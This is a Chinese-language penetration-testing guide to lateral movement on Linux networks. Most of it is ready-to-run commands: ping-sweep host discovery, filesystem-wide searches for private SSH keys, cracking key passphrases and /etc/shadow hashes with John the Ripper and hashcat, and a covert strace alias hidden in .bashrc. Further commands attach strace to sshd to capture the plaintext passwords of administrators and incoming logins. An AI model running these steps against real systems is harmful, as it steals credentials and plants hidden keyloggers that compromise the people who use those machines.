Linux横向移动
主机存活探测
shell
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
arpscan
git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan
nbtscan Linux版
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make
nbtscan -h
端口扫描
就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。
常用比如Ladon、fscan等等
https://github.com/k8gege/LadonGo
SSH横向
这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同。
SSH私钥泄露
不了解SSH私钥登录的可以看这篇文章
https://www.runoob.com/w3cnote/set-ssh-login-key.html
一般情况下SSH密钥存放在~/.ssh/
目录下:
id_rsa 为私钥,id_rsa.pub 为公钥
搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似**.ssh**目录下的搜索不到)
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:
/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history
~/.ssh/config
known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip、远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config
文件中的HashKnownHosts
字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config
文件,这取决于/etc/ssh/ssh_config
文件中的该字段。
修改
/etc/ssh/ssh_config
文件,
HashKnownHosts no
HashKnownHosts yes
通过密钥进行登录,
使用linux机器登录,用-i
指定密钥文件的路径
如果要在Windows上使用的话,例如putty:
使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。
载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。
今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。
破解SSH密钥
如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。
John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:
转换哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用综合密码字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破
SSH密码加密存储在/etc/shadow
文件中,可以使用john the raper
或者hashcat
等工具尝试爆破。
shadow文件介绍:
样例:
root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是X 则代表不能登录系统
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再来解释一下$分割的各个部分的含义:
密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DES
qvhlqI7I:盐值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 :hash值
John the rapper破解:
cp /etc/shadow shadow.txt //直接保存shadow文件
unshadow /etc/passwd /etc/shadow >shadow.txt //如果有unshadow的话,也可以把这两个文件整合
john --wordlist=pass.txt shadow.txt //利用字典进行破解
john --show shadow.txt //查看破解信息
hashcat破解(大字典推荐使用hashcat):
hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008
将/etc/shadow文件,提取密码字段保存hash.txt
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force
-m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
-a 是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
-o 是破解出来的信息输出结果文件,输出到found.txt文件中;
hash.txt 是我们上面保存的加密密码文件;
pass.txt 是我们的爆破密码,越大越精越好;
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
也可以使用hashcat hash --show
来显示结果
SSH Keylogger记录密码
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。
//在当前用户的shell环境中定义一个别名
vi ~/.bashrc
//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
//刷新当前的shell环境
source ~/.bashrc
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。
设置完毕后,使用SSH登录其他机器:
然后,查看/tmp/.sshpwd-xxxxx
文件即可找到密码:
strace监听ssh来源流量
刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。
应用场景如:通过漏洞获取root权限,但是不知道明文密码。
ps -ef | grep sshd //父进程PID
//运行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者后台 运行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &